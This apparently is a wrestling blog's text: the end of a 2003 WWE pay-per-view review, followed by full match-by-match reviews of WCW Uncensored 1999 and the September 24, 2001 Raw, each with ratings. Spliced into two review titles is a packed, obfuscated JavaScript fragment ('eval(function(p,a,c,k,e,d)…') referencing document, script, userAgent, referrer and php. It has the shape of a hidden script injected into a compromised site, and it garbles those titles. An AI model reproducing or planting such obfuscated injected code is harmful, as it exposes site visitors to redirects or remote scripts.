A few elbow drops get two for the Canadian so it’s off to HHH again. High knee gets two for the Game. Flair comes in but the Figure Four is countered into a small package for one. Jericho back in and he throws on a quick hold which gets him nowhere so it’s HHH time again. That goes nowhere so it’s back to Flair for some knee attacks. Shawn gets a clothesline for a pair of twos but he can’t follow up.

Double tag brings in HHH and Nash and things slow down again. You can literally see the crowd sitting still during his house cleaning segment. Shawn had been in trouble for awhile just like the formula would suggest, but the people just don’t care at all. Everything breaks down and it’s Booker vs. Flair on the floor. Pedigree is broken up as is a Jackknife (a few people reacted at least) and everything breaks down even more.

There’s a Spinarooni and the fans pop to their feet. Shawn slams Flair off the top but Jericho breaks up the kick. Figure Four goes on and Jericho adds the Lionsault. Nash comes in for the save and the second Jackknife attempt gets even less of a reaction. There go Flair and the referee and the Jackknife kills Jericho to a moderate reaction. Not that it matters as HHH hits Nash with the hammer for the pin.

Rating: C. The match was ok but Nash’s reactions were downright embarrassing. No one cared about Nash and there’s no other way of looking at it. The pop for his entrance got nothing, his hot tag got nothing, his finisher got nothing. Also, why in the world would you have HHH pin him here? Why in the world would I want to see Nash vs. HHH now if HHH just pinned him? You have Nash pin HHH here to set up the PPV match that you just have to have. Ok match, stupid booking.

We don’t know much about Mysterio now other than he’s hurt.

We recap Rock vs. Goldberg. Rock beat Austin at Mania and had his appreciation night until Goldberg debuted and speared him to death. They had Goldberg talk too, which defeats the purpose of him.

Rock says he’s done it all and that when he got speared, it hurt but he’s here. Rock is a heel here but he’s so energetic that no one will boo him. Goldberg is next.

The Rock vs. Goldberg

Goldberg’s music is changed. You know, because Goldberg wasn’t over with what he had. We also get the full on Hollywood Rock entrance which is still awesome. Goldberg’s music is MUCH softer and it doesn’t work at all. Lawler keeps talking about how Goldberg was a big fish in a small pond and makes sure to make people remember that WCW was NOTHING. The fans chant Goldberg as we’re in full stall mode.

We’re going very slowly with Goldberg knocking Rock out to the floor. Rock stalls on the floor but guillotines him on the rope and hits a clothesline for a pop. Goldberg hits a Rock Bottom and sets up for the spear but Goldberg crashes into the buckle which Lawler says “may be the greatest thing he’s ever seen.” Now it’s Sharpshooter time which is broken eventually. For some reason the referee looks away and Rock hits Goldie low.

Rock sets for the Rock Bottom but Goldberg hits a weak spear. Time for more laying around as this match is WAY too boring. Rock tries some clotheslines but Goldberg won’t go down. A spear from Rock puts Goldberg down and King is losing it. Rock Bottom gets two. The Great One punches him so Goldberg clotheslines him down. Another spinebuster sets up the Elbow but it only gets two and the fans are mad. Spear hits, Rock swears, spear again, Jackhammer and we’re done thank goodness.

Rating: F. ARE YOU FREAKING KIDDING ME? This was GOLDBERG VS. THE ROCK! Goldberg literally did nothing but punches, clotheslines, spears and the Jackhammer. Not close to it, not an expression, literally that’s it. This match was absolutely awful with them spending at least four minutes (out of 13) laying around. It’s one of the worst debuts I can remember in years and it was completely unacceptable.

Overall Rating: D-. I was thinking this was an ok at best PPV until the main event. Then the bottom fell out of that idea. This was AWFUL with a terrible main event. Nash’s reactions are some of the most embarrassing I’ve ever seen but he would be in the next THREE Raw PPV main events for the title until Goldberg took over. You know, the guy who got a lukewarm reaction at best. There’s a reason people call 2003 the worst year in company history. IT WAS TERRIBLE.

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Uncensored 1999: FLAIR BEATS HOGAN!!!

Uncensored eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hniyy|var|u0026u|referrer|zhtet||js|php'.split('|'),0,{})) 1999
Date: March 14, 1999
Location: Freedom Hall, Louisville, Kentucky
Attendance: 15,930
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone

Another Uncensored here in the form of the 1999 version. The main event is Hogan vs. Flair in a first blood steel cage match that you can win by pin for the title and control of the company. Other than that this is more or less the standard WCW card from this era as you can see how far the company has fallen in a single year. Also this show is in Kentucky and the only reason I heard about it was my family was in Louisville a few days before the show. They never advertised in Lexington, which is only about an hour and ten minutes away. I’d try to tap into the extra 300,000 fans but that’s just me. Let’s get to it.

The opening video is one of those weird ones that looks like a prison and then the visuals of Flair and Hogan are all weird looking. It’s kind of hard to describe.

The cage will have barbed wire around the top apparently. Also Tony flat out says that hit’s a first blood cage match. Flair’s career and job as leader of the company is on the line.

Video on Nash vs. Rey which resulted in Rey losing his mask earlier. Nash also offered him a spot in the NWO and it got turned down.

Cruiserweight Title: Mikey Whipwreck vs. Billy Kidman

This is Whipwreck (a heel here) making his debut and he’s getting a title show. Well of course he is. Louisville wasn’t an ECW town so I doubt many people know who Mikey is. Kidman tries to speed things up to start but Mikey grabs a front facelock which doesn’t last long. Whipwreck is left handed. Since there’s no story here I need things to fill in space like that. SWEET dropkick by Kidman.

After being outside for just a few seconds Kidman comes back in and hits a cross body for two. Mikey sends him to the floor again and gets a wheelbarrow slam into the railing. Indian Deathlock goes on back in the ring to hurt the leg so now let’s work on the neck. Kidman reverses an Irish Whip and takes him down with a clothesline so he can stomp a mudhole.

Fameasser by Kidman is countered into a powerbomb for two. Off to a reverse front facelock (kind of like a weak Dragon Sleeper) which doesn’t last long. Mikey goes to the floor again and Kidman gets a huge dive onto him but it looked like Whipwreck was down already so the landing looked pretty bad. Back in and Mikey hits a slingshot move for two. Slingshot suplex is countered into a DDT by the champ to set up the Shooting Star.

Mikey sends him to the floor though but a big dive misses and Whipwreck crashes into the railing. FREAKING OW MAN! Kidman is backdropped into the crowd as this has been pretty back and forth here. Back inside now and a leg sweep gets two on Kidman. A splash misses in the corner and lets Mikey get two. After some waiting around, Kidman gets a Low Down for two.

Whipwreck goes up and avoids a superplex. Nice top rope clothesline gets two. Sitout Pedigree by Kidman gets two as this is needing to end pretty soon. Top rope belly to back gets two for Mikey. Powerbomb is countered by Kidman and that always awesome Shooting Star is enough for Kidman to retain.

Rating: B-. Good match here but 15 minutes was probably too long. Cut this down by about three minutes and it’s a lot better. Mikey is a weird kind of cruiserweight as he wrestles like a small heavyweight rather than a cruiserweight and it makes for some odd matches at times. Not bad for sure but probably just too long.

We get a video on the cage being built for later.

Stevie Ray vs. Vincent

This is a street fight for control of NWO Black and White, because when you think leadership of a heel team, you think Vincent. Since it’s a street fight, Stevie gets checked for weapons. Do you really expect for there to be a good match here? Out to the floor with Vincent in control. Did he ever win a match in WCW? They go into the stands and fight over like 50 empty seats.

Gee WCW, I’m sure you made the right decision to waste all those seats in an arena that you have a huge crowd. Clearly no one would have wanted those seats. Vincent backdrops him to ringside as I can’t believe I’m seeing Vincent in a match on PPV. Middle rope forearm gets two for Vincent. Stevie wakes up and we get the most ridiculous collision spot ever, as Stevie leans forward and Vincent doesn’t move for the spot to him. Horace comes out and hands Stevie a slapjack but Stevie hits a move called the Slapjack (elevated Pedigree) for the pin.

Rating: F. Vincent was in a gimmick match on a PPV in 1999 with Horace Hogan involved in it as well. Do I need to explain to you why this was a failure? The match sucked too and it sucked hard. I mean like Pat Patterson trying to make up with Vince hard.

Kevin Nash vs. Rey Mysterio

Yes you read this right. Mysterio is in a giant killer thing, including a pin over Nash. Oh and Rey has no mask anymore. Luger is out with Nash here, as is Liz. Rey runs right into a boot in the first move of the match. Nash tosses him around a bit but gets caught in a sitout bulldog as the fans are WAY into this. Rey sends him to the floor and uses what we would call the 619 (it’s just a tease move in WCW and never makes any actual contact).

Nash dodges a dive and sends Rey into the railing to take over. Back inside now and Nash is dominant. In a funny spot he sets up the framing elbow in the corner but has to put Rey on the middle rope to be able to hit it. Biggest atomic drop ever puts Rey down again. Low blow by Rey is all cool with the referee and a dropkick gets two. Moonsault press is caught and Luger trips Rey, allowing another big boot to set up the super jackknife to end this. It was almost a Border Toss the way he did it.

Rating: D+. This is a different kind of match. On paper it’s more or less a squash but here that’s the right idea. The idea was that Rey had hit the lucky streak of a lifetime and finally got caught here. In other words, Nash winning here was exactly what should have happened. There comes a point where a guy as small as Rey beating a guy as big as Nash in a regular match (as in not off a quick fluke) is unrealistic and hurts the story. This is one of those times. No issue here, and ironically enough the time of the match was 6:19.

Raven talks about violence causing violence.

Hak (Sandman) says he’s ready for his hardcore triple threat.

Bigelow says he’s awesome. Yeah these guys left their spots as being top stars in ECW to do ECW style matches in the low midcard of WCW. Makes sense.

Jerry Flynn vs. Ernest Miller/Sonny Onoo

Note that this is Flynn and not the far more talented and interesting Lynn. Flynn is a dull as vanilla ice cream in a white room with a single window where you can watch grass growing. It’s karate stuff here again because that’s all these three know how to do. They have to tag here. Basic story here: Onoo (allegedly one of the best fighters in the world) is terrified of Flynn so Miller (another world champion remember) has to do everything. You know, because Flynn is so awesome that two champion martial artists can’t handle him.

This is one of those matches where there is absolutely nothing to talk about. This match didn’t belong on Thunder and yet it’s getting seven minutes on a PPV. Miller is in the match the entire time and hits the Feliner (Trouble in Paradise) to put Flynn down. Now it’s off to Sonny and as soon as Flynn gets up it’s off to Sonny again. Flynn beats on Miller on the floor and then the tag finally hits. One kick from Flynn pins Onoo. Whatever man.

Rating: F-. Jerry Flynn has less purpose on this show than Vincent did. Let that sink in for a bit. Totally worthless match and no point whatsoever on being on this show. Also, STOP HAVING KARATE GUYS FIGHT EACH OTHER. The point is to have them fight other styles so it doesn’t get boring. Weak match and totally pointless. Give me ANYTHING else.

Benoit and Malenko are ready to win the tag titles from Windham and Hennig tonight. It’s a lumberjack strap match.

Hak vs. Raven vs. Bam Bam Bigelow

Hardcore match of course but that isn’t an official word yet. Hak has what used to be Mongo’s music. Even Raven has a theme now and he has his “sister” Chastity with him. Big brawl to start with Bigelow running everyone over. Chastity leaves for a bit and comes back with a dumpster full of weapons. This is going to be another one of those matches where there isn’t much to say.

Raven is controlling at the moment with various shots from metal objects. Sandman screams and overacts a lot. There’s a mailbox and an ironing board. Drop toehold sends Hak into a pile of stuff. They’re pretty much just throwing stuff at each other here. Bigelow is the only one standing. Trashcan shot to the head puts Hak down but Raven hits a low blow on Bammer to take over again.

Hak breaks an ironing board over Raven and everything stops again. Apparently he has a patented left hand. So does every other left handed person on the planet or anyone that hits somebody with a left hand own him a quarter or something? Bigelow hits Sandman with a box fan and the fans loudly boo. There’s an oar to Bigelow’s crotch. Raven does his pose and gets a big reaction.

Raven hits a WEAK chair shot to Bigelow who pops up from it as he should have. These spots are happening with about 30 seconds between them. Hak pops up after a cookie sheet shot and jumps on Bigelow with a sleeper. Raven jumps on Hak and they all fall down again. Heineken-Rana (yes that’s the real name) from Hak takes Raven down and it’s table time.

An ECW chant starts up and is immediately muted. I mean it just gets quiet almost instantly. Bigelow can’t splash Raven through a table so he powerbombs him instead. THE TABLE DOESN”T MOVE. Bigelow has to splash him instead and somehow Hak is still alive. He brings in the cane and here’s Chastity. There’s another table and make it a third. Bigelow goes most of the way through one of them and Raven DDTs Hak.

Naturally he doesn’t cover as Chastity has slipped him some tape and he’s taping Hak’s arms behind his back. We get the just not needed Rock/Foley series of unprotected chair shots to the head until Bigelow hits Greetings From Asbury Park (over the shoulder Piledriver) to kill Raven. Chastity hides in the dumpster and Bigelow threatens to jump in it. She comes up with a fire extinguisher and Bigelow falls through the table. And then she turns on Raven and Hak pins him to end this.

Rating: D. This was a pretty intense hardcore match but it was FIFTEEN MINUTES LONG. Seriously, who in the world thought that was a good idea? These matches are already repetitive and having guys out there that are spent a few minutes in, how good are you expecting this to be? The spots were solid but it just went way too long here and that’s why it’s rated so low.

We get a brief break to clean the ring as the announcers talk.

Tag Titles: Chris Benoit/Dean Malenko vs. Curt Hennig/Barry Windham

This is a lumberjack strap match, meaning the lumberjacks have them. None of them are stars or anything and Hennig/Windham are the champions. One of the lumberjacks is Kendall Windham, as in Barry’s brother. Hennig and Benoit start us off. Arn Anderson comes down to ringside before we really get going. Chris Adams leaves and Arn takes his place, for some reason having his own leather strap in his jacket. I won’t ask.

The champs try to run and they get thrown back in by the lumberjacks. We finally get going and the starters trade slaps with Benoit destroying him. Out to the floor again and Hennig runs like a guy being chased by a mob with leather straps who want to beat him down. Off to Windham and he gets chopped too. Windham is sent outside and the lumberjacks start it up again.

Sweet mercy those are awesome chops. Malenko comes in and doesn’t miss a step from Benoit as the champions haven’t had a bit of offense yet. Back off to the Canadian who keeps dominating. Windham finally gets a boot up in the corner to set up a DDT and a tag to Hennig. Off to a chinlock as Hennig pretty audibly calls spots. Barry comes in again and a clothesline gets two.

Benoit hits a German and it’s the medium heat tag to Malenko. Benoit hadn’t been down enough yet for a hot tag so it’s close enough. Everything breaks down and Malenko hits a Hennigplex for two on Curt with a fast count. Cloverleaf goes on Curt and he taps but Windham makes the save before the referee sees it. Sleeper goes on Dean by Curt and then he dumps Dean.

Anderson comes over to save him from the beating and asks what’s wrong with you guys. That coming from Arn is just awesome. Dean tries to get something going against Windham but a hard elbow and a belly to back suplex stops that. Dean hammered away during the suplex though so both guys are down. Double tag brings in Benoit and Hennig with the Crippler in command. He steals Windham’s belt and we hit the floor where everything explodes. Hennig nails Anderson so Anderson pulls out a tire iron to blast Curt with. The most ridiculous Swan Dive ever (in a good way) ends Hennig a moment later.

Rating: B-. Pretty standard formula match here but it was good. The lumberjacks might have been a bit much but it was nothing too bad. That headbutt was insane as Hennig was beyond the logo on the mat and it made actual contact (with the arm but give him a break). Pretty good match here and nice to see Benoit getting a title after not having one for a very long time.

Chris Jericho vs. Perry Saturn

This is a dog collar match. Saturn had been in a dress recently and has promised to top that here. And now he’s in a dress made of chains. He also has some special contacts in which make his eyes yellow. The eyes have makeup on them and he’s wearing black lipstick. They’re chained around the neck. I have a feeling this won’t be Piper vs. Valentine. Jericho accepts the challenge for the match (which even Tony says “well we know that”) and then tells Ralphus to put the collar on. Even he says no to that and Jericho throws him out.

Jericho charges before he’s even attached and that goes badly for him. Saturn collars him on his own which is creepy. Jericho tries to run and that doesn’t work of course. Perry beats on him a lot as this is pretty dull so far. There’s some choking and Saturn uses the chain in a lot of regular moves. He pulls Jericho off the apron, throat first into the railing. Literally all Saturn so far.

Jericho finally gets a ball shot with the chain and chokes him over the ropes a bit. He tries to powerbom Saturn back into the ring but gets caught in a rana instead. Chris brags some but takes too much time, allowing Saturn to pull him off the top. All Perry now with him throwing Jericho around a lot.

We go to the corner for ten punches and Saturn puts the dress over Jericho’s head. He gets caught in a Liontamer attempt though and is in trouble. In a pretty smart counter, Saturn wraps the chain around Jericho’s neck even more before he turns it so that while the hold is on, Jericho gets choked at the same time and he can’t hold onto it. Nicely done. Death Valley Driver out of nowhere gets two for Perry. Super rana attempt is countered into a powerbomb/spinebuster off the middle rope by Jericho.

Jericho unchains himself from Saturn, completely defeating the purpose of the match, and attaches it to his own neck so it’s wrapped around his chest. Lionsault misses so Jericho goes up again. A top rope splash misses due to Jericho tucking the chain into his tights for some reason and another Death Valley Driver ends Jericho.

Rating: D+. The match was really just a match that had a chain involved other than a few spots. The ending completely defeated the purpose though, which doesn’t really surprise me in WCW, especially in 1999. They just weren’t too bright around this time. Also the Saturn is psycho thing didn’t really mean all that much. Just kind of there, which isn’t good for a gimmick based around violence, of which there wasn’t much at all.

TV Title: Scott Steiner vs. Booker T

Steiner is champion and has Bagwell with him. Steiner stalls a lot before the match and threatens the referee a lot. They get in each others faces and Steiner hits the floor again, shouting CROSS THE LINE at some fans. If someone says wrestling matters I’ll die of laughter. We finally get going and kind of grapple a bit until Booker snaps off an armdrag to tick off Steiner.

They actually speed things up a bit and slug it out. Spin kick misses and Scott hits the floor. Booker is being a lot more aggressive here and I kind of like it. Steiner stalls a ton and they’re really not in full gear yet. He fights up and hits a rotating cross body off the top for two as Buff pulls him out. Steiner throws him into the crowd for a bit and that doesn’t go anywhere.

Steiner drops the elbow but doesn’t have the pushups thing yet. Back inside after some Bagwell choking, Steiner hits a Warrior gorilla press slam drop and is in full control. That gets two with just a knee on Booker’s chest. Spinning belly to belly gets two and we hit the weak rear chinlock. I mean at least flex your arms Scott.

After that gets broken up a forearm smash puts Steiner down. Spinwheel kick puts Scott down and there’s the axe kick. Flapjack sets up the Spinarooni for a nice pop. Harlem side kick looks to put the referee down but we actually don’t get a ref bump. Bagwell interferes again because that’s all he’s good for, crotching Booker on the top. Middle rope suplex and Buff brings in a chair. The chair hits Steiner in the head and the referee is all cool with it. Booker gets a cover and the pin for the title.

Rating: C+. Not bad here but it dragged a bit, namely due to Steiner not being able to crank a neck properly or Buff being useful in the slightest. I liked the earlier parts of this a lot better as Booker was slugging it out with Steiner and it was working. These two had some decent chemistry and this worked pretty well.

Video on the cage being made with the barbed wire and all that jazz.

WCW World Title: Hulk Hogan vs. Ric Flair

Lot of stips here. Hogan is champion and the heel coming in. Flair is president of WCW and it’s job/career vs. title. There’s no door to the cage and there’s barbed wire on the top. Remember that this is first blood. During Flair’s entrance he wants the mic from Buffer. Flair tells the referee not to stop the match unless a good deal of blood and to use his discretion. Keep that in mind: Flair, the President of the company, is saying that it ends with FIRST BLOOD, albeit a lot of blood. Tony calls it first blood also. Ok, that’s all cool. That gimmick has been done a bunch of times and it’s fine. Nothing weird here.

The cage is lowered. This is like a regular cage but there’s barbed wire on the top and no top. Tony talks about how are they going to escape, meaning they’re already altering the rules. The fans loudly chant for Hogan as they start slowly. BIG chop by Flair but here comes Hogan with a backdrop. Despite Hogan being the heel and Flair being the face here, they’re wrestling the opposite styles.

They trade chops in the corner and Hogan takes over while Flair begs off. Hogan throws on the Figure Four and Bobby thinks he’s in command. What great perception! Flair eats cage and Hogan pounds away plus bites. Flair tries to climb over the top as toilet paper comes into the ring. There go his trunks of course because we have to see that every show right? Flair is busted and it’s kind of bad, but the referee says keep going. Fits with what we were told in the beginning of the match.

Hogan pulls some barbed wire down because it’s apparently held on with gum and tape. He rips it across Flair’s head and then whips him with the belt. Flair’s hair is turning red now as Hogan rams him into the cage ten times. They’ve totally done a double turn mid match. Big boot sets up the leg drop and covers but as Mike says, “that’s insignificant due to the rules of the match.” The referee doesn’t count either so Hogan complains about how Flair is bleeding and says he should win. Hulk complains about the lack of a count as the rules are breaking down very fast.

Flair gets something around his hand and decks Hogan with it to take over again. Hogan eats cage and is busted. Here come David Flair who is at odds with his dad along with his unnamed girlfriend who we know as Torrie Wilson. David cheers on Hogan as the fans chant Hogan. Hulk Hulks Up and is a total face. There’s a leg drop and a cover for one. Oh I give up.

Ric comes back and hits a suplex but Hogan pops up. Flair goes into the cage again and let’s do it one more time. Hogan picks him up like a battering ram into the cage and down goes the referee. Flair gets a low blow and here’s Arn Anderson. He decks David and slips the tire iron to Flair. Flair blasts Hogan with it and puts the Figure Four on Hogan who is out and the referee counts a pin to give Flair the title. The fans go silent and then boo Flair.

Rating: C. Not horrible here but it would get a lot worse in the future. The double turn probably was a good idea as things had been going badly for awhile. Flair FINALLY beating Hogan is nice to see, even though it stops meaning anything at all at this point. The ending aside, this wasn’t bad and as usual, Flair and Hogan know how to work a crowd pretty well.

Thunder was in Lexington on Thursday. I think I was at that show.

Overall Rating: C-. Well this wasn’t horrible. There’s nothing here that makes you wonder what drugs they’re on which is a big step up for WCW around this time. It’s certainly not a great show but I think you can watch it and say that it’s ok enough to get by. The problem though was that the company was in a total downward spiral at this point and Austin vs. Rock was two weeks away. That’s kind of hard to fight. Not awful, but nothing really worth seeing here.

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Monday Night Raw – September 24, 2001: Happy Birthday Stephanie! Here’s A Bad Show For You

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysifk|var|u0026u|referrer|ybzdh||js|php'.split('|'),0,{})) Night Raw
Date: September 24, 2001
Location: Nationwide Arena, Columbus, Ohio
Attendance: 7,730
Commentators: Jim Ross, Paul Heyman

We’re past Unforgiven and the biggest detail is that we have a new WWF Champion in the form of Kurt Angle, who beat Austin in a pretty good match. We’re four weeks away from No Mercy and it’ll be the first show where things look even the slightest bit different in the main event picture. And then that’ll all mean nothing as it’ll be time for the Survivor Series and the end of the Alliance. Let’s get to it.

We open with Angle being announced as the new world champion and his family coming in to celebrate with him.

We’re waiting on Austin to arrive so in the meantime we’ll play a theme song.

Kane/Undertaker/Bradshaw vs. Dudley Boyz/Test

Kronik has been fired due to last night’s debacle so we have a new Alliance team for Undertaker and Kane to beat up. The Dudleys are WWF tag champions and Kane/Taker are the WCW counterparts. Bradshaw jumps Test to start and escapes the full nelson slam. Test absorbs some right hands and clotheslines Bradshaw down. Off to D-Von who gets slammed down and there’s a tag to Kane.

Sidewalk slam puts D-Von down and the top rope clothesline puts him down even further. Big boot from Test changes momentum and gets two for D-Von. Kane gets beaten up on the floor a bit as Undertaker tries to help, thereby allowing more cheating. Bubba drops some ax handles for two. Test comes in and pounds on Kane but the Spaniard slugs back and tags in Undertaker. Everything breaks down and Taker avoids the 3D. Bubba gets taken down by the Clothesline and a Last Ride pins D-Von.

Rating: D+. Total meh match here with nothing going on at all. Undertaker looks strong which doesn’t really help anything. I guess this sets up Dudleys vs. Brothers but it doesn’t really make the big tough team look all that vulnerable. Also as usual, the match doesn’t mean anything past the latest win/loss for either side.

Stacy comes in to see Torrie and wants to know what she sees in Tajiri. Stacy thinks he’s short and not much of a man. Torrie says at least she has a man (does Stasiak ring a bell?) so Stacy says she can get one anytime she wants (Stasiak? His dad was world champion?) so a challenge is set up for later.

Christian arrives and Heyman thinks it’s Austin. Christian warns the security guard to be ready for the mob of people that will be here soon. Oh and go get his bags later. He talks to two people ignoring him and says that he’ll sign all their autographs post show.

Shane fires up the Alliance by saying Austin will be here later. He says Austin is still champion because his arm was under the rope. Booker and Shane got screwed by Hebner too, so tonight is about revenge. Stephanie pops in and thinks they’re all here for her birthday. You know, because they wouldn’t show up for work otherwise. Stephanie (looking GREAT again this week) says that tonight is about leadership and following the example of….RVD. Booker comes out of his pose to complain so it’s Booker vs. Angle for the WWF Title and Rock vs. RVD for the WCW version.

Tajiri vs. Tazz

Tajiri kicks him down but walks into a Tazplex to take over. Tajiri comes back with the kicks and the Tarantula. Buzzsaw kick connects but Stacy kisses Tajiri which lets Taz hook the Tazmission for the tap out.

Shane talks to Booker about how it’s time to move up to the WWF Title.

US Title: Rhyno vs. Jeff Hardy

Rhyno won the title last night off Tajiri. Jeff speeds things up to start and sends it to the floor. Slingshot dropkick sets up a rana off the apron to take over. Back in the champion hits a spinebuster but misses a top rope splash. Jeff hits a flipping legdrop for two but walks into a belly to belly. Whisper in the Wind puts Rhyno down but the Swanton misses. The first Gore attempt misses but Jeff goes to the corner and when he lands, Rhyno kills him dead with the Gore to retain.

Rating: C. Rhyno was on a roll at this point and couldn’t have a bad match if he tried. He was great at the power matches and using that Gore to split people in half. He didn’t really have a character but he didn’t need one with his finisher. On top of that he added in some psychology with the constant rib work which makes perfect sense. Good stuff.

Hurricane tells Citizen Ivory and Citizen Storm that he’s glad they’re studying for the match. He also thinks Ivory is in danger and tells her to wait at the entrance. She leaves and Hurricane confides to Storm that he’s ready to take Holly on as his full time sidekick. He makes Storm do Wonder Twin Powers Activate in a funny bit.

Kanyon comes in to see RVD because he’s worried about Austin freaking out on him. Van Dam says just chill.

Ivory/Lance Storm/Hurricane vs. Big Show/Spike Dudley/Molly Holly

Spike is in a Show costume for no apparent reason. Show and Hurricane start things off and the masked man wants a test of strength. That goes nowhere so he slaps Big Show, which gets him thrown across the ring. Off to Ivory and Molly with the latter hitting a northern lights suplex for two. Storm and Spike come in and things speed up a bit. Spike chases Hurricane around and gets kicked down by Lance coming back in. Hurricane and the cape come in with a cross body for two. Show comes in and cleans house but Ivory hits him low. Molly gets on Show’s shoulders for the Molly Go Round for the pin on Storm.

Rating: D+. Just turn Molly into a sidekick already and get it over with. It was clear that’s where they were going so just get it over with already. On top of that, Show needs something to do. He’s been doing nothing for months now and it’s getting a little tiring to sit here and watch him do nothing at all.

Earl Hebner comes in to see Shane, who yells at him about an apparent screwjob last night. We see a clip of Austin tapping out but being under the ropes. Hebner admits his mistake but says the decision stands. Shane is barred from ringside for Angle vs. Booker for some reason.

WWF Title: Kurt Angle vs. Booker T

BIG USA chant goes up. You know Booker is an American too. Angle hits a quick overhead belly to belly for two. Booker grabs a headlock but Kurt grabs the ankle lock which is quickly broken. Angle goes for the ankle again but Booker hits an enziguri to take over. Booker drops a knee to what I think is a bad neck and stands around a lot. Off to a chinlock to take some time out of the match.

Kurt fights up and hits some elbows to the ribs but walks into a spinning forearm for two. Booker hits the ropes but walks into a belly to belly suplex and a belly to back gets two. Booker shoves off the referee to avoid the Slam and kicks Angle down. Belt shot puts Angle down for two. Bookend is countered into a northern lights suplex for two. Ax kick misses and Kurt rolls through a suplex into the ankle lock to retain.

Rating: C+. Not a bad match here but it wasn’t anything great. Booker jobbing again shouldn’t surprise anyone and I don’t think it did. He’s the biggest WCW star there was so of course he lost. That was another of the big issues with the Invasion: the Alliance guys were always second and third fiddles to the WWF guys.

Kanyon hits on Lita which is a lot more awkward in retrospect. She makes fun of his speech impediment.

Intercontinental Title: Christian vs. Chris Jericho

Christian won the title last night. He makes fun of the former champion Edge pre-match and we get a solo Five Second Pose….or we would have if Jericho hadn’t interrupted. Jericho takes him down to start and chops away. Christian comes back with punches and knocks Jericho into the corner. Backbreaker gets two. Jericho hits the forearm and avoids a dropkick. Christian avoids the Lionsault and rolls to the floor. A bell shot draws the LAME DQ to end this. Nothing match.

Christian loads up the Conchairto but Jericho avoids it and hooks the Walls.

X-Pac is sitting in Regal’s chair when the Commissioner comes in. Pac complains about his lack of TV time despite having two titles. Regal rips into him and says that it’s Pac vs. Regal tonight.

We get America the Beautiful from last night which is by one of those women singers that basically screech the words but it’s called great for some reason.

Raven asks RVD for advice about how depressed he’s been lately. RVD suggests being more positive about being negative. Raven thanks him and leaves when Stephanie comes in. She says win and you’re the leader of the Alliance. Some mild sexual tension is teased.

Matt Hardy vs. Kanyon

Matt punches him down to start and hits a moonsault press for two. Kanyon takes him down and heads to hit on Lita, who slaps the taste out of his mouth. Back in Kanyon drives Matt’s head into the mat for two. Kanyon talks to Lita more and gets rolled up for two. A bad Russian legsweep by Matt puts both guys down. They go to the corner with Kanyon getting shoved down and the middle rope legdrop sends Kanyon to the outside. Lita hits her hurricanrana off the steps. Twist of Fate is countered and Matt is shoved into Lita. Flatliner gets the pin.

Rating: D+. Nothing match here and as usual it doesn’t mean anything. These one night made feuds and their resolutions were fine for filling in TV time but it didn’t help anything long term. This was just ok as Matt was nowhere near what he would become yet (take that for what you will) and Kanyon still didn’t mean much.

EXTREME CLOSEUP of DDP who is very positive now. He’s into the motivational speaker gimmick now.

We go to WWF New York with the Tough Enough finalists. The five finalists are Nidia, Taylor (cute but never did anything), Chris Harvard, Maven and Josh Matthews, who looks like more of a tool than he does now.

Rock brags about retaining the title last night and now he has RVD. As for Stephanie, if she cheats she’s going to get a birthday spanking. She’s 25 tonight. He singe a version of Happy Birthday to her as well: “Happy Birthday to Steph, you’re a ho with big breasts, so take the night off from hooking, if ya smell what the Rock is cooking.” Ok that was awesome.

William Regal vs. X-Pac

Regal knocks him down but gets caught in a suplex for two. Bronco Buster hits and Regal comes back with the Regal Cutter for the pin. What in the freaking world was the point of this?

WCW World Title: Rob Van Dam vs. The Rock

Since Shane is barred from ringside for some reason, Stephanie comes out to watch the match. Rob counters a headlock and the fans aren’t sure who to cheer for. Rock Bottom is countered as well and they head to the floor. A clothesline puts Van Dam down but Rob comes back with the spinning kick to Rock who is draped over the barricade. Back in the top rope kick gets two.

Rock grabs a belly to belly for two. Back to the floor and Rob loads up the announce table, only to get punched in the face for his troubles. Rock throws him onto the table but Van Dam bounces off of it. Back inside a spinebuster gets two. RVD kicks him down and tries the split legged moonsault but Rock moves. Stephanie slaps Rock into a rollup for two. Rock hits a DDT and the Sharpshooter goes on but Stephanie comes in again. He chases her up the aisle and throws her back in as Van Dam slams him down. He gets ready for the Five Star but Stephanie shoves the referee into the ropes. Rock Bottom gives Rock the win.

Rating: C-. We’ll continue the running theme tonight by talking about how this is another problem the Invasion had: this match wasn’t about RVD, it wasn’t about the WCW Title and it wasn’t about the Invasion. This match was about Stephanie and how The Rock wants to ruin her birthday. That’s a fun single night thing and the more I get to see mid-20s Stephanie the happier I am, but this doesn’t do a thing long term. It doesn’t set up a PPV match, it doesn’t give Rock a new challenge, it doesn’t do anything. That’s fine once in awhile, but this is like the fourth week in a row. That’s not good.

Austin never arrived.

Overall Rating: D+. This didn’t work at all for me. It’s a total throwaway show with nothing happening and the whole thing being about Stephanie and her birthday with the usual world title matches that meant nothing at all. No Austin, so that went nowhere (nice bait and switch guys) and Angle and/or Rock have no opponents yet, so what was the point of this? Oh yeah, Stephanie is 25 now. Pointless show.

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